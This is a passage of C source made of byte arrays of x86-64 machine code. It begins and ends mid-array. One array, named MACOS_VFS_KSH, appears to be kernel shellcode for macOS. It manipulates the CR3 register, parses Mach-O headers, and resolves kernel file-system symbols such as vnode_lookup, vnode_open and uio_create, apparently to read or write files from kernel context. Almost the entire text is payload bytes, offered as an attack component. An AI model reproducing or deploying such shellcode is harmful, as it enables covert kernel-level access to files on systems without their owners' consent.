0x4c, 0x8b, 0xa5, 0xa0, 0x0a, 0x00, 0x00, 0x0f, 0x85, 0xa4, 0x00, 0x00, 0x00, 0x48, 0x8b,\n  0x45, 0xe8, 0x49, 0xba, 0x00, 0x91, 0x10, 0xb6, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x30,\n  0x48, 0x8b, 0x4d, 0xf0, 0x49, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89,\n  0x47, 0x08, 0x48, 0x8b, 0x4d, 0x10, 0x49, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00,\n  0x48, 0x89, 0x47, 0x18, 0x48, 0x8b, 0x4d, 0x00, 0xeb, 0x5a, 0x48, 0x8b, 0x4e, 0x48, 0x48, 0x85,\n  0xc9, 0x74, 0x5f, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0x48, 0x8d, 0x55, 0x60, 0xe8, 0x51, 0xf7, 0xff,\n  0xff, 0x48, 0x85, 0xc0, 0x75, 0x4c, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x49, 0xba, 0x00, 0x91, 0x10,\n  0xb6, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x30, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0x49, 0x03,\n  0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x47, 0x08, 0x48, 0x8b, 0x4c, 0x24,\n  0x78, 0x49, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x47, 0x18, 0x48,\n  0x8b, 0x4c, 0x24, 0x68, 0x49, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89,\n  0x47, 0x10, 0x48, 0xb8, 0x15, 0xae, 0x47, 0xe1, 0x7a, 0x14, 0xae, 0x47, 0x49, 0xf7, 0xe7, 0x49,\n  0x8b, 0xc7, 0x48, 0x2b, 0xc2, 0x48, 0xd1, 0xe8, 0x48, 0x03, 0xc2, 0x48, 0xc1, 0xe8, 0x05, 0x48,\n  0x6b, 0xc8, 0x32, 0x4c, 0x3b, 0xf9, 0x75, 0x09, 0x48, 0x8b, 0x4e, 0x30, 0xe8, 0xd1, 0xf6, 0xff,\n  0xff, 0x49, 0x81, 0xc4, 0x40, 0x02, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0x60, 0x49, 0xff, 0xc7, 0x4c,\n  0x89, 0xa5, 0xa0, 0x0a, 0x00, 0x00, 0x4d, 0x8d, 0x04, 0x18, 0x41, 0xb9, 0x00, 0x00, 0x00, 0x00,\n  0x4d, 0x3b, 0xfe, 0x0f, 0x82, 0x10, 0xfe, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0x70, 0x0b, 0x00,\n  0x00, 0x49, 0x8b, 0x5b, 0x38, 0x49, 0x8b, 0x73, 0x40, 0x49, 0x8b, 0x7b, 0x48, 0x49, 0x8b, 0xe3,\n  0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5d, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24,\n  0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x30,\n  0x48, 0x8b, 0xda, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xf9, 0x49, 0x8d, 0x50, 0x18, 0x45, 0x33, 0xc9,\n  0x41, 0xb8, 0x00, 0x00, 0x04, 0x00, 0x48, 0x8b, 0x4b, 0x18, 0xe8, 0x53, 0xf6, 0xff, 0xff, 0x48,\n  0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76,\n  0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x61, 0x48, 0x8b, 0x8b, 0x90, 0x00, 0x00, 0x00, 0x48,\n  0x85, 0xc9, 0x75, 0x04, 0x48, 0x8b, 0x4b, 0x20, 0x4c, 0x8b, 0x87, 0x08, 0x02, 0x00, 0x00, 0x48,\n  0x8d, 0x85, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x03, 0x47, 0x28, 0x48, 0x8b, 0xd6, 0x4c, 0x8b, 0x8f,\n  0x10, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x04, 0xf6, 0xff, 0xff, 0x48, 0x89,\n  0x87, 0x00, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x8b, 0xd6, 0xe8,\n  0xee, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x87, 0x00, 0x02, 0x00, 0x00, 0x48, 0x39, 0x87, 0x10, 0x02,\n  0x00, 0x00, 0x1b, 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b,\n  0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xcc, 0xcc,\n  0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x30, 0x49,\n  0x8b, 0xd8, 0x48, 0x8b, 0xfa, 0x4d, 0x8b, 0x40, 0x10, 0x45, 0x33, 0xc9, 0x49, 0xc1, 0xe0, 0x03,\n  0x41, 0x81, 0xe0, 0x00, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x8d, 0x53, 0x18, 0x49,\n  0x81, 0xc8, 0x01, 0x00, 0x04, 0x00, 0xe8, 0x87, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8,\n  0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76, 0x07, 0xb8, 0x02, 0x00,\n  0x00, 0xf0, 0xeb, 0x4e, 0x48, 0x8b, 0x8f, 0x98, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x75, 0x04,\n  0x48, 0x8b, 0x4f, 0x28, 0x4c, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x83, 0x28, 0x03,\n  0x00, 0x00, 0x4c, 0x8d, 0x83, 0x38, 0x03, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8b,\n  0xd6, 0xe8, 0x3c, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x4f, 0x10, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd6,\n  0x48, 0x8b, 0xd8, 0xe8, 0x2a, 0xf5, 0xff, 0xff, 0x48, 0xf7, 0xdb, 0x1b, 0xc0, 0x25, 0x05, 0x00,\n  0x00, 0xf0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x74, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x30,\n  0x5f, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x81, 0xec, 0xc0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54,\n  0x24, 0x20, 0x48, 0x8b, 0xd9, 0xe8, 0xba, 0xf5, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x01,\n  0x00, 0x00, 0xf0, 0xe9, 0xa6, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x83, 0x08, 0x01, 0x00, 0x00, 0x4c,\n  0x03, 0x43, 0x28, 0x48, 0x81, 0xbb, 0x00, 0x01, 0x00, 0x00, 0x38, 0x03, 0x00, 0x00, 0x0f, 0x82,\n  0x85, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x0f, 0x13, 0xaa, 0x93, 0xad, 0x20, 0xe7, 0x79, 0x49, 0x39,\n  0x00, 0x75, 0x76, 0x41, 0xf6, 0x40, 0x10, 0x10, 0x75, 0x6f, 0x49, 0x8b, 0x40, 0x08, 0x48, 0x83,\n  0xf8, 0x01, 0x75, 0x11, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0x9f, 0xf9, 0xff,\n  0xff, 0x8b, 0xc0, 0xeb, 0x59, 0x48, 0x83, 0xf8, 0x03, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20,\n  0x48, 0x8b, 0xcb, 0xe8, 0x04, 0xfe, 0xff, 0xff, 0xeb, 0xe7, 0x48, 0x83, 0xf8, 0x02, 0x75, 0x0f,\n  0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xb3, 0xfe, 0xff, 0xff, 0xeb, 0xd2, 0x48,\n  0x83, 0xf8, 0x04, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xa2, 0xf8,\n  0xff, 0xff, 0xeb, 0xbd, 0x48, 0x83, 0xf8, 0x05, 0x75, 0x1b, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48,\n  0x8b, 0xcb, 0xe8, 0xdd, 0xf8, 0xff, 0xff, 0xeb, 0xa8, 0xb8, 0x06, 0x00, 0x00, 0xf0, 0x48, 0x89,\n  0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xc0, 0x00, 0x00, 0x00, 0x5b, 0xc3, 0x00\n};\n\nconst BYTE MACOS_VFS_KSH[] = {\n    0x37, 0x13, 0xec, 0x3c, 0x8c, 0x39, 0xe7, 0xd9, 0xaf, 0x57, 0xfa, 0x27,\n    0x6e, 0x3f, 0xf6, 0xaa, 0xa6, 0xf4, 0x8b, 0x31, 0x8c, 0x78, 0x3c, 0x71,\n    0x72, 0x40, 0x33, 0xa0, 0x9b, 0x91, 0xa1, 0x1c, 0x52, 0xb2, 0xd8, 0x5b,\n    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1a, 0x0c, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0xb5, 0x1b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0,\n    0x48, 0x83, 0xec, 0x20, 0xe8, 0xd7, 0x0a, 0x00, 0x00, 0x48, 0x8b, 0xe6,\n    0x5e, 0xc3, 0x51, 0x48, 0x33, 0xc9, 0x48, 0xff, 0xc9, 0x48, 0xff, 0xc1,\n    0x8a, 0x04, 0x39, 0x3a, 0x04, 0x31, 0x75, 0x09, 0x3c, 0x00, 0x75, 0xf1,\n    0x48, 0x33, 0xc0, 0x59, 0xc3, 0xb0, 0x01, 0x59, 0xc3, 0xb8, 0xcf, 0xfa,\n    0xed, 0xfe, 0x3b, 0x07, 0x75, 0x37, 0xb8, 0x07, 0x00, 0x00, 0x01, 0x3b,\n    0x47, 0x04, 0x75, 0x2d, 0x48, 0x33, 0xc9, 0x48, 0xb8, 0x5f, 0x5f, 0x4c,\n    0x49, 0x4e, 0x4b, 0x45, 0x44, 0x48, 0x3b, 0x04, 0x39, 0x74, 0x0f, 0x48,\n    0x83, 0xc1, 0x04, 0x48, 0x81, 0xf9, 0x00, 0x20, 0x00, 0x00, 0x74, 0x0d,\n    0xeb, 0xeb, 0x48, 0x8b, 0x44, 0x39, 0x10, 0x48, 0x03, 0x44, 0x39, 0x18,\n    0xc3, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0x8b, 0xcf, 0x48, 0x83, 0xc1, 0x20,\n    0xb8, 0x02, 0x00, 0x00, 0x00, 0x39, 0x01, 0x74, 0x08, 0x8b, 0x41, 0x04,\n    0x48, 0x03, 0xc8, 0xeb, 0xef, 0x48, 0x8b, 0xc1, 0xc3, 0x41, 0x52, 0x57,\n    0x56, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xf2, 0xe8, 0xd5, 0xff, 0xff, 0xff,\n    0x4c, 0x8b, 0xc0, 0xe8, 0x89, 0xff, 0xff, 0xff, 0x4c, 0x8b, 0xc8, 0x41,\n    0x8b, 0x40, 0x14, 0x4c, 0x2b, 0xc8, 0x4d, 0x8b, 0xd1, 0x41, 0x8b, 0x48,\n    0x0c, 0x49, 0x83, 0xe9, 0x10, 0x49, 0x8b, 0x41, 0x08, 0x48, 0xc1, 0xe8,\n    0x20, 0x83, 0xf8, 0x80, 0x75, 0x11, 0x41, 0x8b, 0x39, 0x49, 0x03, 0xfa,\n    0xe8, 0x3d, 0xff, 0xff, 0xff, 0x48, 0x83, 0xf8, 0x00, 0x74, 0x0a, 0xe2,\n    0xdc, 0x48, 0x33, 0xc0, 0x5e, 0x5f, 0x41, 0x5a, 0xc3, 0x49, 0x8b, 0x41,\n    0x08, 0x5e, 0x5f, 0x41, 0x5a, 0xc3, 0x0f, 0x20, 0xd8, 0x0f, 0x22, 0xd8,\n    0xc3, 0x0f, 0x20, 0xd8, 0xc3, 0x48, 0x8b, 0xc1, 0x57, 0x56, 0x41, 0x56,\n    0x41, 0x57, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xf0, 0x49, 0x8b, 0xd1, 0x48,\n    0x8b, 0x4c, 0x24, 0x48, 0x4c, 0x8b, 0x44, 0x24, 0x50, 0x4c, 0x8b, 0x4c,\n    0x24, 0x58, 0x4c, 0x8b, 0xfc, 0x4c, 0x8b, 0xb4, 0x24, 0x88, 0x00, 0x00,\n    0x00, 0x41, 0x56, 0x4c, 0x8b, 0xb4, 0x24, 0x88, 0x00, 0x00, 0x00, 0x41,\n    0x56, 0x4c, 0x8b, 0xb4, 0x24, 0x88, 0x00, 0x00, 0x00, 0x41, 0x56, 0x4c,\n    0x8b, 0xb4, 0x24, 0x88, 0x00, 0x00, 0x00, 0x41, 0x56, 0x4c, 0x8b, 0xb4,\n    0x24, 0x88, 0x00, 0x00, 0x00, 0x41, 0x56, 0x4c, 0x8b, 0xb4, 0x24, 0x88,\n    0x00, 0x00, 0x00, 0x41, 0x56, 0xff, 0xd0, 0x49, 0x8b, 0xe7, 0x41, 0x5f,\n    0x41, 0x5e, 0x5e, 0x5f, 0xc3, 0x0f, 0x09, 0xc3, 0x48, 0x89, 0x5c, 0x24,\n    0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x55,\n    0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0x6c, 0x24, 0x90, 0x48, 0x81, 0xec,\n    0x70, 0x01, 0x00, 0x00, 0x45, 0x33, 0xff, 0xc7, 0x45, 0xb0, 0x5f, 0x76,\n    0x6e, 0x6f, 0x48, 0x8d, 0x45, 0xb0, 0xc7, 0x45, 0xb4, 0x64, 0x65, 0x5f,\n    0x6c, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8b, 0xda, 0x48, 0x8d, 0x44, 0x24,\n    0x30, 0xc7, 0x45, 0xb8, 0x6f, 0x6f, 0x6b, 0x75, 0x48, 0x89, 0x45, 0x08,\n    0x4c, 0x8b, 0xf1, 0x48, 0x8d, 0x45, 0xc0, 0x66, 0xc7, 0x45, 0xbc, 0x70,\n    0x00, 0x48, 0x89, 0x45, 0x10, 0x48, 0x8d, 0x44, 0x24, 0x60, 0x48, 0x89,\n    0x45, 0x18, 0x48, 0x8d, 0x45, 0xa0, 0x48, 0x89, 0x45, 0x20, 0x48, 0x8d,\n    0x44, 0x24, 0x40, 0x48, 0x89, 0x45, 0x28, 0x48, 0x8d, 0x44, 0x24, 0x70,\n    0x48, 0x89, 0x45, 0x30, 0x48, 0x8d, 0x45, 0xe8, 0x48, 0x89, 0x45, 0x38,\n    0x48, 0x8d, 0x45, 0x80, 0x48, 0x89, 0x45, 0x40, 0x48, 0x8d, 0x44, 0x24,\n    0x50, 0x48, 0x89, 0x45, 0x48, 0x48, 0x8d, 0x45, 0xd0, 0x48, 0x89, 0x45,\n    0x50, 0x48, 0x8d, 0x45, 0x90, 0x48, 0x89, 0x45, 0x58, 0x48, 0x8d, 0x44,\n    0x24, 0x20, 0x48, 0x89, 0x45, 0x60, 0xc7, 0x44, 0x24, 0x30, 0x5f, 0x76,\n    0x6e, 0x6f, 0xc7, 0x44, 0x24, 0x34, 0x64, 0x65, 0x5f, 0x70, 0x66, 0xc7,\n    0x44, 0x24, 0x38, 0x75, 0x74, 0x44, 0x88, 0x7c, 0x24, 0x3a, 0xc7, 0x45,\n    0xc0, 0x5f, 0x76, 0x6e, 0x6f, 0xc7, 0x45, 0xc4, 0x64, 0x65, 0x5f, 0x73,\n    0xc7, 0x45, 0xc8, 0x65, 0x74, 0x73, 0x69, 0x66, 0xc7, 0x45, 0xcc, 0x7a,\n    0x65, 0x44, 0x88, 0x7d, 0xce, 0xc7, 0x44, 0x24, 0x60, 0x5f, 0x76, 0x6e,\n    0x6f, 0xc7, 0x44, 0x24, 0x64, 0x64, 0x65, 0x5f, 0x6f, 0xc7, 0x44, 0x24,\n    0x68, 0x70, 0x65, 0x6e, 0x00, 0xc7, 0x45, 0xa0, 0x5f, 0x76, 0x6e, 0x6f,\n    0xc7, 0x45, 0xa4, 0x64, 0x65, 0x5f, 0x63, 0xc7, 0x45, 0xa8, 0x6c, 0x6f,\n    0x73, 0x65, 0x44, 0x88, 0x7d, 0xac, 0xc7, 0x44, 0x24, 0x40, 0x5f, 0x56,\n    0x4e, 0x4f, 0xc7, 0x44, 0x24, 0x44, 0x50, 0x5f, 0x52, 0x45, 0x66, 0xc7,\n    0x44, 0x24, 0x48, 0x41, 0x44, 0x44, 0x88, 0x7c, 0x24, 0x4a, 0xc7, 0x44,\n    0x24, 0x70, 0x5f, 0x56, 0x4e, 0x4f, 0xc7, 0x44, 0x24, 0x74, 0x50, 0x5f,\n    0x57, 0x52, 0xc7, 0x44, 0x24, 0x78, 0x49, 0x54, 0x45, 0x00, 0xc7, 0x45,\n    0xe8, 0x5f, 0x56, 0x4e, 0x4f, 0xc7, 0x45, 0xec, 0x50, 0x5f, 0x47, 0x45,\n    0xc7, 0x45, 0xf0, 0x54, 0x41, 0x54, 0x54, 0xc7, 0x45, 0xf4, 0x52, 0x4c,\n    0x49, 0x53, 0xc7, 0x45, 0xf8, 0x54, 0x42, 0x55, 0x4c, 0x66, 0xc7, 0x45,\n    0xfc, 0x4b, 0x00, 0xc7, 0x45, 0x80, 0x5f, 0x75, 0x69, 0x6f, 0xc7, 0x45,\n    0x84, 0x5f, 0x61, 0x64, 0x64, 0xc7, 0x45, 0x88, 0x69, 0x6f, 0x76, 0x00,\n    0xc7, 0x44, 0x24, 0x50, 0x5f, 0x75, 0x69, 0x6f, 0xc7, 0x44, 0x24, 0x54,\n    0x5f, 0x72, 0x65, 0x73, 0x66, 0xc7, 0x44, 0x24, 0x58, 0x69, 0x64, 0x44,\n    0x88, 0x7c, 0x24, 0x5a, 0xc7, 0x45, 0xd0, 0x5f, 0x76, 0x66, 0x73, 0xc7,\n    0x45, 0xd4, 0x5f, 0x63, 0x6f, 0x6e, 0xc7, 0x45, 0xd8, 0x74, 0x65, 0x78,\n    0x74, 0xc7, 0x45, 0xdc, 0x5f, 0x63, 0x75, 0x72, 0xc7, 0x45, 0xe0, 0x72,\n    0x65, 0x6e, 0x74, 0x44, 0x88, 0x7d, 0xe4, 0xc7, 0x45, 0x90, 0x5f, 0x75,\n    0x69, 0x6f, 0xc7, 0x45, 0x94, 0x5f, 0x63, 0x72, 0x65, 0xc7, 0x45, 0x98,\n    0x61, 0x74, 0x65, 0x00, 0xc7, 0x44, 0x24, 0x20, 0x5f, 0x75, 0x69, 0x6f,\n    0xc7, 0x44, 0x24, 0x24, 0x5f, 0x66, 0x72, 0x65, 0x66, 0xc7, 0x44, 0x24,\n    0x28, 0x65, 0x00, 0x48, 0x8d, 0x75, 0x00, 0x41, 0x8b, 0xff, 0x48, 0x2b,\n    0xf2, 0x48, 0x8b, 0x14, 0x1e, 0x49, 0x8b, 0x4e, 0x08, 0xe8, 0x13, 0xfd,\n    0xff, 0xff, 0x48, 0x89, 0x03, 0x48, 0x85, 0xc0, 0x74, 0x12, 0x48, 0xff,\n    0xc7, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x83, 0xff, 0x0d, 0x72, 0xde, 0xb8,\n    0x01, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24, 0x70, 0x01, 0x00, 0x00,\n    0x49, 0x8b, 0x5b, 0x20, 0x49, 0x8b, 0x73, 0x28, 0x49, 0x8b, 0x7b, 0x30,\n    0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc,\n    0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48,\n    0x83, 0xec, 0x40, 0x48, 0x8b, 0x4a, 0x50, 0x49, 0x8b, 0xd8, 0x48, 0x83,\n    0x64, 0x24, 0x58, 0x00, 0x48, 0x8b, 0xfa, 0xe8, 0x1d, 0xfd, 0xff, 0xff,\n    0x48, 0x8b, 0x4f, 0x18, 0x48, 0x8d, 0x53, 0x18, 0x48, 0x89, 0x44, 0x24,\n    0x30, 0x48, 0x8b, 0xf0, 0x48, 0x8d, 0x44, 0x24, 0x58, 0x41, 0xb9, 0xff,\n    0x01, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x28, 0x41, 0xb8, 0x01, 0x06,\n    0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0xe8, 0xec, 0xfc, 0xff,\n    0xff, 0x33, 0xdb, 0xb9, 0x02, 0x00, 0x00, 0xf0, 0x48, 0x85, 0xc0, 0x0f,\n    0x45, 0xd9, 0x48, 0x8b, 0x54, 0x24, 0x58, 0x48, 0x85, 0xd2, 0x74, 0x12,\n    0x48, 0x8b, 0x4f, 0x20, 0x4c, 0x8b, 0xce, 0x41, 0xb8, 0x00, 0x00, 0x01,\n    0x00, 0xe8, 0xc3, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x8b,\n    0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x40, 0x5f, 0xc3,\n    0x48, 0x89, 0x5c, 0x24, 0x18, 0x48, 0x89, 0x54, 0x24, 0x10, 0x55, 0x56,\n    0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xac,\n    0x24, 0x50, 0xfe, 0xff, 0xff, 0x48, 0x81, 0xec, 0xb0, 0x02, 0x00, 0x00,\n    0x49, 0x8b, 0xf8, 0x4c, 0x8b, 0xf2, 0x45, 0x33, 0xc0, 0x4c, 0x8b, 0xf9,\n    0x48, 0x81, 0xb9, 0x10, 0x02, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x41,\n    0x8b, 0xd8, 0x89, 0x9d, 0x08, 0x02, 0x00, 0x00, 0x41, 0x8b, 0xf0, 0x4c,\n    0x89, 0x44, 0x24, 0x50, 0x4c, 0x89, 0x44, 0x24, 0x58, 0x73, 0x0a, 0xbb,\n    0x07, 0x00, 0x00, 0xf0, 0xe9, 0x8d, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x4a,\n    0x50, 0xe8, 0x4b, 0xfc, 0xff, 0xff, 0x49, 0x8b, 0x0e, 0x48, 0x8d, 0x57,\n    0x18, 0x4c, 0x8d, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x45, 0x80, 0x45, 0x33,\n    0xc0, 0x48, 0x89, 0x44, 0x24, 0x20, 0x4c, 0x8b, 0xe0, 0xe8, 0x2b, 0xfc,\n    0xff, 0xff, 0x45, 0x33, 0xc0, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0xbb, 0x02,\n    0x00, 0x00, 0xf0, 0xe9, 0x3c, 0x03, 0x00, 0x00, 0x49, 0x8b, 0x8f, 0x48,\n    0x03, 0x00, 0x00, 0x48, 0x8d, 0x55, 0xa0, 0x41, 0xb9, 0x10, 0x02, 0x00,\n    0x00, 0xe8, 0x03, 0xfc, 0xff, 0xff, 0x49, 0x8b, 0x8f, 0x48, 0x03, 0x00,\n    0x00, 0x48, 0x8d, 0x55, 0x88, 0x41, 0xb9, 0x18, 0x00, 0x00, 0x00, 0x45,\n    0x33, 0xc0, 0xe8, 0xea, 0xfb, 0xff, 0xff, 0x49, 0x8b, 0x8f, 0x08, 0x02,\n    0x00, 0x00, 0xb8, 0x05, 0x00, 0x00, 0x00, 0x49, 0x03, 0x4f, 0x28, 0x41,\n    0xb9, 0x00, 0x00, 0x01, 0x00, 0x49, 0x8b, 0xbf, 0x10, 0x02, 0x00, 0x00,\n    0x45, 0x33, 0xc0, 0x21, 0x9d, 0xf0, 0x01, 0x00, 0x00, 0x48, 0x81, 0xc7,\n    0x00, 0x00, 0xff, 0xff, 0x48, 0x03, 0xf9, 0x66, 0x89, 0x45, 0x88, 0x49,\n    0x8b, 0x8f, 0x48, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd7, 0xc7, 0x45, 0x8c,\n    0x09, 0x16, 0x00, 0x80, 0xc7, 0x45, 0x98, 0x02, 0x00, 0x00, 0x00, 0xc7,\n    0x45, 0x94, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0x7c, 0x24, 0x60, 0xe8,\n    0x8d, 0xfb, 0xff, 0xff, 0x48, 0x21, 0x5c, 0x24, 0x20, 0x45, 0x33, 0xc0,\n    0xe9, 0x4e, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x54, 0x24, 0x50, 0x48, 0x8d,\n    0x85, 0xf0, 0x01, 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x38, 0x4c, 0x8d, 0x4d,\n    0xa0, 0x4c, 0x89, 0x64, 0x24, 0x48, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48,\n    0x8d, 0x44, 0x24, 0x70, 0x48, 0x89, 0x44, 0x24, 0x38, 0x4c, 0x89, 0x44,\n    0x24, 0x30, 0x4c, 0x89, 0x44, 0x24, 0x28, 0x4c, 0x8d, 0x45, 0x88, 0x4c,\n    0x89, 0x6c, 0x24, 0x20, 0xe8, 0x40, 0xfb, 0xff, 0xff, 0x45, 0x33, 0xc0,\n    0x48, 0x85, 0xc0, 0x0f, 0x85, 0x3e, 0x02, 0x00, 0x00, 0x8b, 0x85, 0xf0,\n    0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x83, 0x02, 0x00, 0x00, 0x8b,\n    0xd0, 0x48, 0x03, 0xc6, 0x48, 0x8d, 0x0c, 0xc0, 0x49, 0x8b, 0x87, 0x10,\n    0x02, 0x00, 0x00, 0x48, 0x2d, 0x00, 0x00, 0x01, 0x00, 0x48, 0xc1, 0xe1,\n    0x06, 0x48, 0x3b, 0xc1, 0x0f, 0x82, 0x60, 0x02, 0x00, 0x00, 0x48, 0x85,\n    0xd2, 0x0f, 0x84, 0x65, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x74, 0x24, 0x60,\n    0x4c, 0x8d, 0x24, 0xf6, 0x49, 0xc1, 0xe4, 0x06, 0x41, 0x8b, 0xd8, 0xbe,\n    0x03, 0x01, 0x00, 0x00, 0x49, 0xbd, 0x00, 0x91, 0x10, 0xb6, 0x02, 0x00,\n    0x00, 0x00, 0x49, 0x8b, 0xbf, 0x08, 0x02, 0x00, 0x00, 0x41, 0xb9, 0x40,\n    0x02, 0x00, 0x00, 0x49, 0x03, 0x7f, 0x28, 0x45, 0x33, 0xc0, 0x49, 0x8b,\n    0x8f, 0x48, 0x03, 0x00, 0x00, 0x49, 0x03, 0xfc, 0x48, 0x8b, 0xd7, 0xe8,\n    0xb5, 0xfa, 0xff, 0xff, 0x41, 0x8b, 0x06, 0x49, 0x8b, 0xd6, 0x4c, 0x03,\n    0xf0, 0x4c, 0x8d, 0x4a, 0x04, 0x48, 0x83, 0xc2, 0x18, 0x41, 0x8b, 0x01,\n    0xa8, 0x01, 0x74, 0x39, 0x4c, 0x8b, 0xda, 0x48, 0x83, 0xc2, 0x08, 0x41,\n    0x8b, 0x4b, 0x04, 0x48, 0x3b, 0xce, 0x48, 0x0f, 0x47, 0xce, 0x45, 0x33,\n    0xc0, 0x48, 0x85, 0xc9, 0x74, 0x1f, 0x4c, 0x8d, 0x57, 0x38, 0x41, 0x8b,\n    0x03, 0x49, 0x03, 0xc0, 0x49, 0xff, 0xc0, 0x42, 0x0f, 0xb6, 0x04, 0x18,\n    0x66, 0x41, 0x89, 0x02, 0x4d, 0x8d, 0x52, 0x02, 0x4c, 0x3b, 0xc1, 0x72,\n    0xe5, 0x41, 0x8b, 0x01, 0xa8, 0x08, 0x74, 0x2b, 0x8b, 0x02, 0x48, 0x83,\n    0xc2, 0x04, 0x83, 0xf8, 0x01, 0x75, 0x06, 0x48, 0x83, 0x0f, 0x01, 0xeb,\n    0x1a, 0x83, 0xf8, 0x02, 0x75, 0x06, 0x48, 0x83, 0x0f, 0x02, 0xeb, 0x0f,\n    0x83, 0xf8, 0x05, 0x75, 0x06, 